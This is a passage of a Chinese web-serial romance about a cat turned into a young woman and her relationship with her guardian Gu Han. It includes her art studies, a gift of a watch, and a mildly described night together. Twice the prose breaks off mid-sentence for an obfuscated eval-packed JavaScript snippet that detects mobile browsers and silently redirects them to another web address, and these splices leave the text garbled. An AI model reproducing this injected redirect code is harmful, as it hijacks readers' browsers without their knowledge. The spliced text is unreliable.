顾涵沉默地立在一旁,等待崔季同的下半句。 “那日追杀你们的人,是千里盟的其中一个堂主。”崔季同望向远方,那张总是带着慈祥笑意的面容瞬间覆上了一层寒霜。 “这些年,千里盟做事愈发乖张,我本来不想多管闲事,但实在无法隐忍他们残害生灵。”崔季同转过身与顾涵面对面:“所以这两日,我把之前发掘到的千里盟的隐秘都整理了出来。” “千里盟虽然历史悠久,却随着战乱和派内分歧,逐渐分出许多支线,他们成立慈善基金会,用以洗钱、逃税,甚至挪用善款。堂主和几位核心修士私下包养情妇、赌博等等……” 一旁的阿涂适时拿出了一个文件袋,递给了顾涵:“东西都在这里了。” 文件袋的重量从手心上传来,顾涵冷眼相视,锐利的目光宛如划开了一个虚拟空间,带着他重回到顾凝恬受伤的那一刻——她鲜血淋漓,染红了的裙摆在往下滴血,鲜活的气息随着晚风逐渐飘走…… 顾涵的指节骤然收紧,文件袋在他掌心发出不堪重负的"咔吱"声,他深呼吸一口,强压住自己暴怒的情绪,回答:“我明白您的意思了。” 37. 喵 这日过后。 顾涵陪顾凝恬在医院养伤,期间他两点一线,在项目地忙完后又来医院陪顾凝恬,如此过了一个月,才终于返程回A市。 一到家,顾凝恬就小跑着到冰箱找雪糕吃。 这段时间在医院养伤要忌口,她嘴巴都淡的没味了,就馋这个。 她盘腿坐在沙发,用勺子一勺一勺地挖着吃,打开电视,百无聊赖地翻着有什么节目看——一则新闻跳了出来,主持人说:“百年慈善组织''千里盟''近日深陷丑闻漩涡。据警方通报,该组织涉嫌多起恶性事件,包括内部争权斗殴致同门伤残、挪用善款等违法行为……” “记者调查发现,千里盟名下多家慈善基金会存在严重财务问题。税务部门已介入调查,初步查明其近三年累计逃税金额高达两千余万元。更令人震惊的是,该组织部分高层被曝长期包养情妇,甚至涉嫌赌博、吸毒等违法犯罪行为。” “目前,千里盟盟主刘某及多名核心成员已被警方控制。据知情人士透露,此次事件曝光源于不明人士举报。本台将持续关注案件进展——” 顾凝恬的勺子“当啷”一声掉在茶几上,香草冰淇淋在杯子里慢慢融化。她呆呆地看着电视屏幕上闪过的警方押解画面,其中一个被带走的灰袍修士,赫然是那晚伤她最重之人。 他们被抓了? 身后传来熟悉的脚步声,顾涵端着切好的水果在她身旁坐下,抽走她手里半化的冰淇淋,换上温热的蜂蜜水,又看了眼桌面上吃完的冰激凌杯子,说:“不准再吃了,吃多了肚子受凉。” 顾凝恬嘟嘟嘴,不满地将蜂蜜水放下,抱着顾涵的手臂开始撒娇:“再吃最后一个嘛,我馋很久了,顾涵顾涵顾涵。” 她把下巴搁在顾涵的手臂上,摇摇晃晃,见他不为所动,她干脆跨坐在了他身上,抱住他的脖子,跟以前做猫时候一样,往他的脖子处吹热气,又用鼻子去拱他的喉结。 “好不好嘛。” 顾涵往后靠入椅背,后颈仰着,盯着顾凝恬的脸蛋看,双手捧着她的腰,在她的腰侧来回摩挲,舒展的眉眼染上笑意,他说:“小猫咪,求人要有求人的态度。” 顾凝恬推搡着他的肩膀,上眼皮绷紧成直线,眼睛压成倒三角,‘凶巴巴’地看着他,正想硬抢时,她的胸口突然澎湃起一股燥热,可她刚刚才吃了雪糕,心中透凉,按道理不会有这种感受。 既然不是她的,那就是…… 顾凝恬望进顾涵的眼睛,那双总是深邃如墨的眼眸此刻映着窗外的天光,竟透出几分温柔的琥珀色。她用目光顺着他高挺的鼻梁向下爬,停留在他线条清晰的薄唇。 她低头,吻了下去。 顾凝恬的唇瓣还带着雪糕的凉意和甜香,轻轻贴在顾涵唇上的那一瞬间,他整个人微微惊讶,双手的动作僵了一秒。 她生涩地蹭了蹭他的唇角,香草味的气息在两人鼻息间交融。顾涵终于回过神来,喉结上下滚动了一下,抬手捧住她的后脑,将这个吻加深。 喘息的声音在安静的空间中沸腾,化作一片温软的触感。顾凝恬忍不住伸手揪住了顾涵的衬衫前襟,指尖触到他胸膛上加速的心跳,一如她自己。 说不清是谁先主动,两人的位置交换了过来,双双倒在沙发,窗外的风吹得纱帘轻轻摆动,将阳光切割成摇曳的光斑,落在两人交叠的身影上。电视里的节目还在热闹地播放着,欢快的背景音渐渐化作遥远的嗡鸣。 空气在渐渐湿热,看不见的火苗在虚空中一触即发,一室意乱情迷,温热的手掌擦过白皙的皮肤,停留在起伏的心跳间,顾凝恬双眼迷蒙中透着情-欲的水雾。 顾涵蜻蜓点水一般的嗅息在她的锁骨间徘徊。 “铃铃!” 骤然响起的铃声打破了罗曼蒂克的氛围。 顾凝恬从朦胧中睁眼,对上了顾涵无奈的眼神。他撑着沙发坐起身,把她也拉了起来,给她整理好衣襟,接着清了清嗓子,恢复正常声音:“我去开门。” 看着顾涵的背影,顾凝恬呼圆嘴巴,长呼吸一口气,有些心虚地抱着抱枕,目光怔松着。如果不是突然响起门铃,他们可能不会止于这一步。 门口传来利落的女声。 “阿涵!” 这声音激昂中又带着几分不满。 顾凝恬回眸看去,是当时在顺港大学见过的人,叶蔓。 “你小子!”叶蔓不悦地朝顾涵瞪了一眼,缓了缓气才说:“之前让你问问你女朋友愿不愿意来学岩彩画,你倒好,拖拖拉拉,一问就左右而言他。” 顾涵理亏地摸摸鼻子。确实是,叶蔓跟他提了好多遍,都被他推了过去。 “算了算了。”叶蔓自顾自地走进来,看了眼顾涵:“听说你受伤了,没事了吧?” “没事。”顾涵引着叶蔓在沙发坐下,又给她倒了杯水。 叶蔓一见到顾凝恬就双眼发光,三步并作两步走到她面前,热切地握住她的手:“小姑娘,我可算见着你了!上次在校园里看见你的第一眼,我就知道你天生是画岩彩的料。” 顾凝恬被这突如其来的热情弄得有些懵,求助地看向顾涵。 叶蔓见状立刻从随身的帆布包里掏出一叠作品照片:“你看看这些,都是我的学生画的。你的眼神里有种特别的灵气,不学岩彩太可惜了。” 照片上,金碧辉煌的矿物颜料在阳光下熠熠生辉,顾凝恬不自觉地被吸引,手指轻轻抚过那些绚丽的色彩。叶蔓趁热打铁:“每周只要来画室三次,材料我都给你准备好,怎么样?你愿意吗,我真的很想收你做学生。” 顾涵走近顾凝恬的身侧,从他的视角,他可以看到顾凝恬艳羡的神情,回想起她之前安安静静地拿画笔画画的模样,他心头一软。 “你想不想去?”他摸了摸顾凝恬的发顶,在她的后颈处捏了捏,鼓励道:“叶蔓老师是岩彩画届的大师级人物,跟她学习,对你有好处,而且,你也能认识志同道合的朋友。” 顾凝恬仰起脸,感受着顾涵指尖在后颈轻柔的摩挲,看了眼叶蔓期待的眼神,说:“那我……什么时候去呀?” 叶蔓兴奋挑眉,从包包里拿出两张门禁卡:“通行证我都给你们提前办好了,明天我在画室等你,带你熟悉熟悉环境,以后的话你想来就来,就算我不在画室,你的学长学姐也会在,可以让他们教你调调色。” “好。” 叶蔓走后,顾涵给顾凝恬收拾背包,把钱包水杯什么的都整理在包包里,时不时又打开看一眼,会不会有什么遗漏的。 晚餐时候,桃桃做了很多甜点,算是庆祝顾凝恬入学。 但其实,顾凝恬没有学校上课的概念,她不太理解这是一种什么形式,吃过饭后,她窝在被子里让顾涵给她讲讲。 顾涵把顾凝恬往怀里搂了搂,像讲故事一样轻声解释:"就像小猫要学抓老鼠一样,人类的小朋友也要学本领。学校就是他们集中在一起学习的地方。" 顾凝恬的耳朵动了动:“所有人都在一起学吗?” “对,就像一群小猫一起玩。”顾涵捏捏她的指尖:“以后你学成了,就可以把你的画卖出去赚钱。” “赚钱?”顾凝恬满眼不解。 “嗯。”顾涵轻笑着说:“钱是用来买东西用的,所以我每天出门上班就是为了赚钱给你买零食和好看的裙子。” “哦……”顾凝恬理解了一点,点点头,缩在被子里,睁大她的蓝色双眸。 她这是要正式进入人类社会了吗? 她有点紧张了,害怕和别人处不好,而且,他们会不会发现她其实是一只猫? 越想,顾凝恬就越没有安全感,她惆怅着把自己塞进顾涵的怀里,眯眯眼,顾涵熟悉的味道传来,就像是一剂安心药,让她没多久就睡着了。 翌日早。 顾凝恬背起顾涵给她准备的小书包,坐上车,顾涵絮絮叨叨地嘱咐道:“记得喝水,有不明白的地方就找人问,饿了就吃我给你准备的小饼干,不要乱跑,有什么事就给我打电话……” 顾凝恬揉揉耳朵根。这些话顾涵来来回回说好多遍了,她有些无语:“知道了知道了,我听着呢,你不用说这么多遍。” 车子驶入校门。 顾涵无奈一笑,心想自己这是怎么了,怎么跟老父亲似的念叨,怪不得惹顾凝恬烦。 “好了,不说了。”他解开安全带下车,带着顾凝恬去报道。画室众人见来了这么漂亮的女孩,都纷纷挤在门口观看。 顾涵刚推开画室的门,就听见里面传来此起彼伏的抽气声。十几个学生齐刷刷地转过头来,目光全黏在了顾凝恬身上。有个染着银发的男生甚至直接站了起来,手里的画笔“啪嗒”掉在了地上。 “新同学?”银发男生三两步凑过来,笑得阳光灿烂:“我是赵墨,画室班长。”他伸手就要去接顾凝恬的背包:“我带你去参观……” 顾涵的手臂突然横插过来,不动声色地挡开了那只手。 “不必。”他声音冷得像淬了冰,眼神锐利得能把人钉在原地:“我带她去见叶教授。” 他一把揽过顾凝恬的腰,把人往怀里带了带,指腹在她腰间按了按。顾凝恬茫然地抬头,正对上顾涵微微眯起的眼睛——那眼神活像护食的猛兽。 画室里顿时响起几声了然的轻笑。林墨尴尬地摸了摸后颈,识趣地退开几步。 叶蔓适时出现,忍笑打圆场:“行了行了,都回去画画。”她朝顾涵眨眨眼:“你这醋劲儿,不知道的还以为我们画室是狼窝呢。” 顾涵脸上缓和了下来,重新换上含情脉脉的口吻对顾凝恬说:“放学我来接你。” 顾凝恬喜滋滋地看着他,踮起脚尖在他的耳边小声说:“你吃醋的样子真好看。” 冷脸的模样酷酷的,顾凝恬很少见他这样,觉得很新鲜,伸手在他的脸颊掐了掐。顾涵按住她的手腕,嗯哼一声:“你离那个银毛远点。” 顾凝恬趁机在他的脸上亲了一口,拜拜手:“知道了,你回去吧。” 说完,她蹦蹦跳跳地跟叶蔓走了,顾涵看着她的身影离开才转身出去。 只不过,回到公司的顾涵却无论如何地无法专心地投入工作。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240135|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住去想顾凝恬现在在做什么,能不能融入环境,会不会有人欺负她。甚至会不由自主地幻想顾凝恬被欺负之后独自哭泣的画面。 顾涵盯着电脑屏幕,文档上的字却一个都没看进去。他烦躁地扯松领带,拿起手机又放下,明明才分开不到两小时,他就已经按亮屏幕看了十几次,想给她打电话,又怕打搅她学习。 “顾总?”邱芸小心翼翼敲门:“设计部的会议……” 话还没说完,顾涵的手机响了起来,在看到备注的那一眼,他朝邱芸挥了挥手。邱芸领悟点头,关上了门。 “顾涵顾涵,你在干嘛呀,有没有想我。”电话一接通,顾凝恬甜甜的声音就传了过来,顾涵放松一笑,坐在老板椅翘起腿搭在桌面上。 “想了。”他实话实说。 顾凝恬在那边笑笑,彷佛知道他在想什么似的说:“你不用担心我,叶老师人很好,师兄师姐对我也很好,他们教我铺画板和调色,还给我买了奶茶喝呢。” 顾涵默然片刻,说不出的淡淡失落笼罩住了他。 小猫现在越来越能耐了,见识的人越来越多,会不会把他比下去?会不会想从他这里离开? 如鲠在喉。 顾涵说不出一句话,空落落的感觉将他整个人都裹挟了起来。他捂上胸口,规律的心跳承载着两个灵魂,正想假装无事发生地回答,顾凝恬的声音从听筒传了出来。 “我告诉你哦,刚才有个男生主动要给我调色,还说我长得好看,像动漫少女。” “嗯?”顾涵的声音顿时冷了八度。 “但我跟他说啦。”顾凝恬声音俏皮,尾音轻轻上扬,柔软的声线软软的,好像能拂过顾涵的耳廓:“我只喜欢我的顾涵,顾涵是全天下最帅最好的男人,我最最最喜欢他了!” 她一连说了三个最,笑声从她的唇齿间溜出来,每个音节都裹着甜甜的暖意,尾音微微打着旋儿。他的小猫他清楚,她最不会撒谎了。 顾涵心里的阴霾瞬间一扫而空,爱意浮现在他的眼底,他能想象出顾凝恬说这些话时候的表情。 他轻笑着逗逗她:“要是你在顺港大学遇到更好的男人了怎么办?会不会不要我了?” 顾凝恬反问:“这世界上还有比顾涵更好的男人吗?虽然你不会做饭,但是你长得好看啊,而且还……很会亲亲……总而言之猫猫认定你了!” 说到后面顾凝恬的声音越来越小,像是害羞地说不下去,顾涵没继续撩拨她,轻咳一声:“好了好了,你好好学习,下了课我去接你。” “好。” 挂断电话,顾凝恬这时才发现,坐在她左右两边的女生都在看着她,打趣道:“真甜啊,你男朋友还送你上学,我来这这么久,我对象就送过我一次。” “好羡慕,而且你男朋友长得也好看,他是做什么的?看起来很成熟,应该不是顺港大学的学生吧?” 顾凝恬傲娇扬眉。 那当然了,她的顾涵可是全天下最好的男人。 她会努力学画画然后赚钱给他买东西的。 正式接触并学习岩彩画,顾凝恬学的有点吃力,前几天都待在画室画到很晚,即便回到家,她也会在吃过饭后待在房间里仔细研究色彩的搭配,天天累的倒头就睡,都没工夫像以前那样缠着顾涵让他讲睡前故事了。 顾涵有些不理解她这么拼的原因。问了小猫,结果小猫就是不肯说。 这日,顾涵照常下班准备去接顾凝恬,接到了她打来的电话。 “今晚画室聚餐,我不回家吃饭了,等会顺便去看电影。” 顾涵握在方向盘上的手一顿,眼底闪过不易察觉的失落。他沉默两秒,低声应道:”好,注意安全。” 挂断电话后,顾涵缓缓松开方向盘,指尖在皮质包裹上留下几道浅浅的压痕。车窗外,夕阳绚烂,却莫名让人觉得有些刺眼。 他抬手揉了揉眉心,目光落在副驾驶座——那里放着他特意绕路去买的焦糖布丁,包装袋上印着顾凝恬最爱的那家甜品店logo。 小猫现在有自己的世界了。 彼时的顾凝恬正在一间酒店的套房里,和画的买家见面。 有买家看中了她的画风,找她定制。这段时日她忙进忙出的就是为了这件事。 价钱方面是叶蔓出面谈的,她说这个价对于她这样的新人来说,是很高的价格了,让她好好把握这个机会。 顾凝恬紧张地攥着裙角,眼睛亮晶晶地看着对面西装革履的买家。对方正仔细端详她带来的样稿,金丝眼镜后的目光锐利而专业。 要是能成功卖掉这个画,她就有钱给顾涵买礼物了。 她专门找师姐帮她算过,卖画的钱刚好能给顾涵买个奢侈品手表。 只是她没想到,原来人类世界的钱是这么难赚的,她画了这么多天只能卖一点点钱,可上次顾涵给她买项链就花了一千多万。 她得画多少幅画才能攒到一千多万啊! 他可真有钱,算不算是人类常说的富豪? 顾凝恬胡思乱想着,胸口却不知怎地忽然闷疼了起来。 38. 喵 My Heart 闷闷的,像是一把钝刀在胸腔里缓慢搅动,每一次呼吸都牵扯着酸涩的痛感。 这是怎么了,她怎么会心痛? 顾凝恬皱紧眉头半弯下腰,抚着胸口,借口去洗手间离开了这里。 憋屈的感受从心口一直蔓延到喉咙,哽得她发不出声音。 顾凝恬重重闭眼,平息了会儿。不对,这不是她的感受,是顾涵的。 他在心痛? 他怎么了? 她赶紧拿出手机给顾涵发了个「猫猫hello」的表情包。对话框立马显示「对方正在输入中」的字眼。可顾凝恬等了好一会都没等到顾涵发来的回复。 她想了想,主动问道:「你遇到什么事了吗?」 顾涵:「嗯?为什么这么问?」 顾凝恬手指滑过屏幕,来来回回切换字眼,最终回复:「我想你了。我会早点回来的。」 顾涵:「我也想你,早点回家。」 顾凝恬:「猫猫贴贴GIF。」 关掉屏幕亮光后,心痛的感觉渐渐消散,顾凝恬深呼吸一口气,重新推门出去,买家已经评估过她的画作了,现场结清了尾款。 看着账户里的余额,顾凝恬默默在心里计算了一下,背起小背包赶往之前预定好的手表门店,把手表买了下来。 没想到离开时,刚才还晴空万里的天色突然阴沉下来,豆大的雨点毫无预兆地砸落。顾凝恬慌忙躲进路边便利店,发梢被雨水打湿了几缕。 她望着玻璃门外越下越大的雨幕,着急地看了看手机上的时间。 天呐,已经快十点了! 她答应顾涵要早点回去的。 顾凝恬从包里抽出画板挡在头顶,毫不犹豫地冲进雨里。雨水很快浸透了她的衬衫,但她怀里紧紧抱着的背包却始终干燥,因为里面装着要给顾涵的惊喜。 她冲着跑入地铁站,转了三四个站点之后终于回到了家。 当她打开门的那一刻,预想中的画面没有出现。整个别墅一片漆黑,顾凝恬愣了愣,来不及放下手中的东西就冲上了二楼。卧室、厨房、书房都没有顾涵的身影。 雨水打在落地窗上发出噼里啪啦的声响,在静嘤嘤的黑暗中尤为明显。 顾涵居然不在家?他去哪里了? 顾凝恬失魂落魄地从楼上下来,忽然间感到有些无措。她打开书包将装有手表的天鹅绒盒子拿在手里,正准备给顾涵打个电话的时候,大门被人推开了。 一身水汽的顾涵走了进来,手里还拿着伞。 两人在昏暗的室内对视,异口同声:“你……” 顾凝恬轻快跑到顾涵面前,急冲冲地问:“你去哪里了?” 顾涵伸手打开灯檠,暖黄的灯光瞬间洒满客厅,照亮了他还滴着水的发梢,衬衫也被雨水浸透了大半。他右手拿着伞,左手提着甜品纸盒。笑得温柔:“我看要下雨了,想去接你。结果你的同学告诉我,你们今晚并没有聚餐。” 顾涵将伞放进伞筒,水珠顺着他的发梢滴落,他把左手伸远了点,避免被雨水弄湿纸盒:“给你买的焦糖布丁在车上忘记拿。” 他把纸盒放下茶几。 顾凝恬看着他一步步走近,灯光投射在他的肩膀,高大的身影将她整个人笼罩了起来,压迫感十足。 他用沾着雨水的手指捏住她的下巴,比以往的温和更多了些强势的味道,他说:“撒谎可不是好女孩,你今晚去哪儿了?” 顾凝恬眨巴着眼睛,宝蓝色随着她的动作一熠一熠,她把天鹅绒盒子捧起来,举到两人的身前。 “我去给你买礼物了。” 顾涵瞬时怔愣,过了两秒才反应过来顾凝恬说了什么,惊讶的神色从他的眼底一闪而过,他看了看盒子上面的标志——正是他常戴的那个高端腕表品牌。 顾涵松开捏着她下巴的手,指尖微微发颤地接过礼盒。 “这是……”他声音有些哑,慢慢打开盒子,里面静静躺着一款低调奢华的机械表,表盘背面刻着细小的字——“MyHeartWillGoOn” 我心永恒。 《泰坦尼克号》的旋律仿佛又在耳边响起,顾涵想起那天,顾凝恬看完电影后感动到哭的稀里哗啦的样子。他当时只当是小猫咪太感性,没想到她不仅记了下来,还刻在了手表送给他。 顾凝恬紧张地绞着手指,仰起脸看他说:“今晚我确实撒谎了,因为我想给你一个惊喜。这段时间我一直在努力画画,终于赚到钱了,所以给你买了礼物。” “这是我网上看到的,刚好和你平时戴的是同一个牌子,是最新款,你喜欢吗?” 窗外的雨声忽然变得遥远,顾涵只觉得耳边嗡嗡作响。他盯着那块表,突然想起这段时间来她总是熬夜画画,早出晚归地调制颜色,原来都是为了…… “笨蛋猫猫。”他一把将人搂进怀里,力道大得让顾凝恬轻轻“唔”了一声。 潮湿的衬衫贴在顾凝恬的脸上,她能听见顾涵胸腔里剧烈的心跳,能感受到他温凉的体温,她弯了弯唇角,伸手回抱他的腰。 “顾涵。” 顾涵深吸一口气,原本抚在她后背的手,慢慢移到了她的后脑,按住她动作的同时,微微低头,吻住了她。 又急又猛的吻让顾凝恬嘤咛了一声,她喃声道:“布丁还没吃……” “明天再吃。”顾涵随意地回了一句,再次吻了下来,他浅咬着顾凝恬的唇瓣,用舌尖撩拨她的口腔。客厅的吊灯映出两个缠绵在一起的身影,雨水将两人的衣服晕湿,白色的衣裙掉落在地板上。 顾凝恬感觉到有点冷,忍不住缩了缩肩膀。 顾涵微微离开她的唇,看了她一眼后,伸手将她整个人抱在了身前往楼上去。他一脚踢开自己卧室的房门,与顾凝恬双双倒在了床上。 黑色的衬衫被他三两下就褪下扔在了地板,与女孩的内衣堆叠在了一起,没开灯的房间分不清谁是谁,也理不清是谁先主动,一切水到渠成。 细小的雨雾在夜色中悄然退开,露出远处藏青色的灰白,无边天际在这样的雾霭中升起朝阳,透亮的橙光洒满了整个大地。 被折腾了一晚上的顾凝恬累的睁不开眼。 她的意识已经醒了,但是身体还很疲惫,一动不动地躺在被窝里,身旁的男人传来源源不断的热意,熨贴着她的肌肤。 她拱了拱腰,无意识蹬被子的举动踢到了男人的小腿,对方闷哼一声,接着将她整个人都纳入了怀中,将她压在身下。 顾凝恬不情不愿地睁开眼,推了推顾涵横在她身前的胳膊,小声嘀咕:“热……” “嗯?”顾涵听闻,把手从她的胸前撤走,但另一只搁在她腰间的手却没有动弹,依旧将她抱着。他支着胳膊半撑起身,盯着睡眼惺忪的顾凝恬,眉眼弯了弯:“还疼不疼?不多睡会儿?” 顾凝恬羞赫闭眼,连忙把被子盖在自己的脸上,只露出一双圆碌碌的眼睛。 “你、不许再说了。” 一些零星的,杂乱无序的缠绵片段在她的脑海中来回浮现,彷佛在提醒着她昨晚发生了什么,她有些气恼地哼唧说:“你、你怎么可以这样?” 顾涵笑了笑,握住她的手腕,把她的被子掀开,有些无奈。还没等他说什么,顾凝恬就游移不定地问道:“我、就是、你……” 她看了看顾涵后,随即不好意思地挪开了眼,浅咬着下唇,脸颊通红。 顾涵凑近她,把她脸上凌乱的头发用手指挑开,明知故问地看着她:“你在担心什么?” 顾凝恬皱眉一瞬又松开。 一般来说,猫在□□之后会很快受孕…… 顾涵看她又纠结又害羞的样子,不忍心继续逗她,捏了捏她圆乎乎的脸颊。 “你不会怀孕,放心。”他拿起昨晚用剩的婴儿嗝屁袋给她,背面写着明明白白的使用说明。 顾凝恬的脸哗一下红透了,像是充血的气球,她恍恍惚惚地躺在被窝里,见到顾涵笑了笑,他问她:“今天要不要就在家里休息?” 顾凝恬动了动腿,又转了转脖子。 好累。 昨晚顾涵抱着她做个没完,直到天都亮了她才微微睡了会儿。 她的确有点软绵绵的使不上力。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245597|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可是,叶蔓老师跟她说,今天会新到一批天然的矿物颜料,她想用。之前用的那些人工新岩手感不好,色彩也差点意思。 她慢悠悠地坐起来,抱着被子说:“我要去画室上课。” 顾涵下床找了件衬衫套上,接着坐到她身边,搂着她摇摇晃晃昏昏欲睡的身体,小猫困得坐着都要睡着了,顾涵轻笑一声,直接将她从床上抱了下来,进到浴室给她洗漱。 在去画室的路上,顾凝恬躺在副驾驶睡着了,卷翘的睫毛轻盈地点缀在她的眼皮,呼吸均匀,薄薄的阳光从车窗透进来,照在她白皙的脸颊,光束下,绒毛清晰可见,圆翘的脸颊弧度跟以前还是猫猫的时候一样可爱。 顾涵没忍心叫醒她,把车停在学校门口。他轻轻熄火,脱下西装外套小心翼翼地盖在她身上。 指针悄悄划过两格,顾涵始终保持着同一个姿势,右手虚悬在方向盘上,生怕挪动时会发出声音。没多久,下课铃声响起,几个学生嬉笑着从车前经过,顾凝恬才迷迷糊糊地睁开眼睛。 “到了怎么不叫我呀?”她揉着眼睛嘟囔,脸颊上还留着座椅的压痕,一缕呆毛翘在头顶。 顾涵伸手替她拨开黏在唇边的发丝:“看你睡得香。”指尖顺势滑到她耳后,轻轻捏了捏那个和小猫时期如出一辙的软软耳垂。 “我去上课了。”顾凝恬迷离着眼睛说,下车前还不忘凑过来在顾涵的下巴上蹭了蹭。 她推门下车,跟顾涵道别之后就进了画室。 今天来晚了点,第一节课已经上了,班长赵墨关心地问是不是路上出事耽搁了。 顾凝恬摇摇头,有些不自然地夹腿而坐,不适感仍旧在她的身体里作祟着。这时,旁边过来一个女生,对方笑了笑之后递给了她一张请帖。 “我要和男朋友结婚啦。”女生欢快地说:“就在这周六,皇冠酒店,到时候你可以和你的男朋友一起来。” 顾凝恬有些含糊。 结婚是什么?她挠挠头,有些不明所以地翻开请帖。 里面是一张两人合照,其中女生穿着一条非常华丽的白色裙子,裙摆上绣着许多鲜花,层层叠叠的薄纱裙摆如云絮般蓬松轻盈,蔓藤花纹从腰间螺旋而上,在胸口绽放出几朵立体雕花。 “哇——”顾凝恬发出惊羡的轻呼。 “真好看。”她眼睛亮晶晶地看着女生说:“你穿的这是什么,太好看了。” 女生显然被顾凝恬的问题问的一愣,好半响才回答说:“这是婚纱啊,你不知道婚纱吗?每个女孩子结婚都是要穿婚纱的。” 顾凝恬面色一滞,脱口而出说:“你们人类都是要结婚的吗?” 女生惊异地望着她,以为自己幻听了,犹豫着说:“我们人类?你在说什么?” 自知失言,顾凝恬暗暗咋舌,赶紧转移话题:“噢……我、我是说你穿这个裙子很漂亮,我也想要。” 女生开心地搬来一张椅子坐在顾凝恬的身边,跟她说:“那当然了,这条裙子可是我专门找设计师定制的,全世界只有这么一条呢,你要是喜欢,到时候你结婚也可以参照这个样式做一款,或者买成品的也可以。” “你身材这么好,我觉得你可以试试鱼尾款的,我给你看看,我手机里还存在有之前试过的鱼尾款婚纱。” 顾凝恬不理解结婚的概念,也不懂女生所说的婚纱和结婚到底有什么关系。她暗暗地揪了揪自己的指甲,有些不知道怎么回应女生的话,想了会儿她才说:“结婚……是干嘛的?” 女生一脸奇怪,轻微拧眉后说:“你没想过和你男朋友结婚吗?谈恋爱的目的都是要结婚的。不过我也是跟我男朋友谈了好几年才定下来。” “你男朋友看上去一表人才,前几天听叶老师说,他还是建筑设计公司的老板,国内国外都有项目,真是年轻有为,这么好的男人你可要抓住了。” 女生说着说着,声音压低了点,跟顾凝恬咬耳朵:“我跟你说哦,现在外面捞女很多的,她们才不管男人有没有伴,只要看中了就下手,我表姐不就是,活生生被捞女拆散了家庭,所以你要看紧点你的男朋友。” 39. 喵 “看紧点?”如果顾凝恬现在还有尾巴的话,估计已经来回摇摆了。她歪着头,很不理解这种人类''暗语''。 女生接着说:“难道你从来没查过你男朋友的手机吗?比如微信支付宝这些,看看他有没有和其他女人聊天,给其他女人花钱啊。” 说着说着,她又扫了眼顾凝恬的表情,见她这么迷糊,她愣了愣,说道:“不是吧,你没查过?” 顾凝恬诚实摇头:“我不知道你说的这些。” 虽然她听的云里雾里的,可她也大概听懂了女生话里的含义,她就着这种猜测幻想了一下,立即升起了一股憋屈。 女生啧啧两声,对顾凝恬表示不认同:“你这怎么行,你男朋友是做生意的,应酬肯定很多,万一哪天被什么女人给勾上了怎么办?你得有点自己的心思。” “你听我的,今天晚上就找个机会查查他的手机,防患于未然嘛。” 顾凝恬陷入了沉思。 在猫猫的世界里,公猫在发情期间会寻找多个交-配对象,不会长期与某一只母猫保持伴侣关系。虽然顾涵不是猫,可他长得好看,既然她会喜欢他,是不是也证明会有其他女孩子也喜欢他呢? 又或者,在她还没出现的时候,顾涵会不会曾经喜欢过其他女孩子? 顾凝恬搁下手中画笔,混乱的思绪让她没办法专心作画,她看了看时间。 还早,还有最后一节课才放学。 往常顾涵都会在她放学的时候来接她。 顾凝恬沉思片刻,现在这个时间点,顾涵应该还在公司上班。她收拾好自己的东西,背上书包,偷偷从画室后门溜走了。 来到顾涵公司楼下时,顾凝恬深吸了口气,坐上电梯来到28楼,「无界设计」的LOGO悬挂在入门前厅,芭蕉流水的装饰后面,是公司前台。对方看了她一眼,先是一愣,而后笑了笑。 “你好顾小姐。” 顾凝恬停住脚步,想起来这是之前见过的人,邱芸。 还没等她说话,邱芸道:“是来找顾总吗,他还在会议室开会,我带你去他办公室吧,你在那里等他。” 顾凝恬点了点头。 正合她意。 邱芸把她引进办公室后又给她倒了杯水,接着关上了门。 顾凝恬在候客沙发坐了会儿,确认一时半会不会有人进来之后,在顾涵的办公桌坐下。 他没有把手机留在这里。 电脑是开着的,她点开微信看了看,没什么异常,谈的都是公事,置顶的也是她的聊天,备注是「猫猫公主」。 接着,她又翻了翻电脑已经打开的页面,都是CAD画面图,没什么好看的——这是什么?顾凝恬被其中一个界面吸引住了。 圆圆的两个圈,上面映着光,像是什么宝石,仔细看的话会发现这是一个猫猫头的形象。 这难道也是建筑设计的一种吗?可是看起来不太像啊。 顾凝恬盯着这个图看了很久也没有得出答案。 她向后仰靠入椅子,微微吁出一口气。 这样是不是不太好?她不应该偷偷翻顾涵东西的,而且这么做对他是一种不信任。 她晃晃头,重新在沙发坐下,拿出随身绘画本练习画画。待她再次重新抬起头时,杯中的热雾已经散尽了,时针绕了一圈又回到了原点,顾涵还没有回来。 顾凝恬百无聊赖地起身,推门出去,踏上走廊,对面是干净明亮的办公室,建筑师们围在一起探讨着问题,没人注意到她。顾凝恬便径直往里进去,透过右侧的玻璃门,可以看出这是一间会谈室。顾涵坐在主位上,对面是几个穿着正装的人。 顾涵侃侃而谈,阳光在他轮廓分明的侧脸投下深浅不一的阴影。他说话时声音不高,却带着不容置疑的沉稳,客户不自觉地前倾身体,认真而专注地听着他的分析。 忽然,顾涵似乎感应到什么,抬起头来。隔着玻璃,他的目光准确捕捉到走廊上的顾凝恬,原本严肃的表情瞬间冰雪消融。 他起身向她走去,牵上她的手。 “怎么来了也不告诉我一声?什么时候来的?” 顾凝恬仰起头,陷入了顾涵眼睛里的欣喜。瞬间,她心里那种说不清道不明的阴霾一扫而空,她笑颜如花地攀上顾涵的胳膊:“给你一个惊喜。” 顾涵宠溺地揉揉她的头。 客户见状,也跟着走出。微笑着说:“那初步的方案就先这么定下来,剩下的细节,等您出差回来再商量。” 